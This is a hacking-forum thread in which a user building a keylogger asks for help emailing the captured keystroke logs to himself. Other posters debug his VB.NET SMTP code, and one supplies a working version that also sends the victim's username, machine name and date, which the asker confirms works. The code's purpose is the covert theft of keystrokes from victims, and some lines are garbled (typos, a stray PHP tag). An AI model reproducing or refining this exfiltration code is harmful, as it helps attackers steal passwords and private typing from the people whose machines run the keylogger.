Thread: [Send Logs \(of keylogger\) through application](#)

?Dødøsky - January 14, 2016, 12:48 pm

Goodevening dear HackForums, as the title says i've encountered a little problem during my adventure in coding a tool which i have put a keylog function inside, the fact is that i tried to get working the email send function to send to myself the logs but it doesn't seem to work, so i was asking you if is there something wrong in the code

```
Code Dim ip As String = New WebClient().DownloadString("http://bot.whatismyipaddress.com/")
```

```
Try
```

```
    Dim SmtptServer As New SmtptClient()
```

```
    Dim mail As New MailMessage()
```

```
    SmtptServer.Credentials = New _
```

```
Net.NetworkCredential("e.e", "e.e")
```

```
    SmtptServer.Port = 587
```

```
    SmtptServer.Host = "smtp.gmail.com"
```

```
    mail = New MailMessage()
```

```
    mail.From = New MailAddress("e.e")
```

```
    mail.To.Add("e.e")
```

```
    mail.Subject = My.Computer.Name & "|" & ip
```

```
    mail.Body = TextBox1.Text
```

```
    SmtptServer.Send(mail)
```

```
    TextBox1.Text = ""
```

```
Catch ex As Exception
```

```
End Try
```

or simply if you could suggest me any other way to send the logs

thanks in advance

If your mail service is Gmail (which I'm guessing from the SMTP host), you must allow less secure apps access here: <https://myaccount.google.com/security>

tried and nothing ;(

any other clue?

Well you're swallowing a trapped exception, comment out the TryCatch block and let the debugger show you why it's not working.

Are you sure all you're Information Is correct ? Also does it by any chance pop a error without the try ?

But I bumped Into a similar error as you like last month when i was making a simple keylogger too It was cause my allow secure was off but from the post above seems like you have it on so I'm not really sure whats wrong but

Here's a code I used when i sent my logs maybe this will work for you ? :D

PHP Code

```
<?php
```

```
Try
```

```
    If My.Computer.Network.IsAvailable = True Then
        Dim Mail As New MailMessage
        Dim SMTP As New SmtpClient("smtp.gmail.com")
```

```
        Mail.Subject = "Logs received from " + Environment.UserName + "/" + Environment.
MachineName
```

```
        Mail.From = New MailAddress("example@gmail.com")
        SMTP.Credentials = New System.Net.NetworkCredential("example@gmail.com",
"password")
```

```
        Mail.To.Add("example@gmail.com")
```

```
        Mail.Body = " Here are the logs from " + Now.ToString("dd MMMM yyyy") + textbox1.text
```

```
        SMTP.EnableSsl = True
```

```
        SMTP.Port = "587"
```

```
        SMTP.Send(Mail)
```

```
    ElseIf My.Computer.Network.IsAvailable = False Then
```

```
    ,
```

```
    End If
```

```
Catch ex As Exception
```

```
    ' MsgBox(ex.Message)
```

```
End Try
```

```

Will try tomorrow since im on my phone now :3

EDIT! THANKS MAN IT WORKS <3
